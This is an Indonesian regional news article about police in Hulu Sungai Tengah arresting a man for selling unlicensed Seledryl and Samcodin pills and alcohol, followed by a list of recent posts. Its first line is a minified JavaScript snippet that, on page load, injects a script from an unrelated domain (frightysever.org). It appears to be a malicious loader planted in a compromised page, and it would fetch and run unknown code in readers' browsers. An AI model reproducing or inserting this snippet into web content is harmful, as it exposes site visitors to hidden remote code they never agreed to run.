(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL HST

Ribuan Obat Serta Alkohol Tanpa Izin Edar Diamankan Resnarkoba Polres HST


KANALKALIMANTAN.COM, BARABAI – Sat Resnarkoba Polres Hulu Sungai Tengah menangkap SAR, 43 tahun, warga jalan Telaga Padawangan RT 001 RW 001 Kelurahan Barabai Timur, Kecamatan Barabai, Kabupaten Hulu Sungai Tengah (HST). SAR diduga melakoni bisnis obat-obatan terlarang tanpa izin edar kesehatan di wilayah Barabai.

Penangkapan SAR, pada Rabu (28/10/2020) sekira jam 13.00 Wita di Desa Mandingin RT 015 RW 003 Kecamatan Barabai, HST -tepatnya di dalam rumah pelaku-, bermula petugas mendapat informasi dari masyarakat bahwa di Desa Mandingin sering terjadi transaksi jual beli obat jenis Seledryl dan Samcodin, kemudian dilakukan penyelidikan dan berhasil mengamankan SAR dengan barang bukti berupa 3 kotak kardus warna coklat yang berisi 100 box atau sekitar 36.000 butir obat jenis Seledryl, 35 box atau sekitar 4.200 butir obat jenis Seledryl, 6 box atau 600 butir obat Samcodin, 10 kotak atau 240 botol alkohol Tjap gadjah 95% isi 100 ml, 19 botol alkohol Tjap gadjah 95% isi 300 ml, 5 kotak (120 botol) alkohol merk Nova 70% isi 300 ml, 1 kotak (100 botol) alkohol merk Nova 70% isi 100 ml, serta uang tunai sebesar Rp 810.000, 1 buah HP, 1 unit mobil. Selanjutnya Pelaku dan Barang bukti dibawa ke Polres HST guna penyidikan lebih lanjut.

Kapolres HST AKBP Danang Widaryanto, melalui Ps Paur Subag Humas Aipda M Husaini mengatakan penangkapan terhadap SAR bisa dilakukan atas peran serta masyarakat yang memberi informasi adanya peredaran obat terlarang di wilayah hukum HST.

Kapolres mengimbau kepada masyarakat, khususnya para remaja agar jangan coba-coba dan mengkonsumsi barang haram tersebut. Karena akan berdampak buruk terhadap kesehatan dan keluarga “Kita tidak akan bosan untuk memberantas peredaran obat terlarang di Hulu Sungai Tengah,” tegasnya. (kanalkalimantan.com/rls)

Editor: Bie


Desy Arfianty

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

12 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

14 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

14 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

15 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

16 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

17 jam ago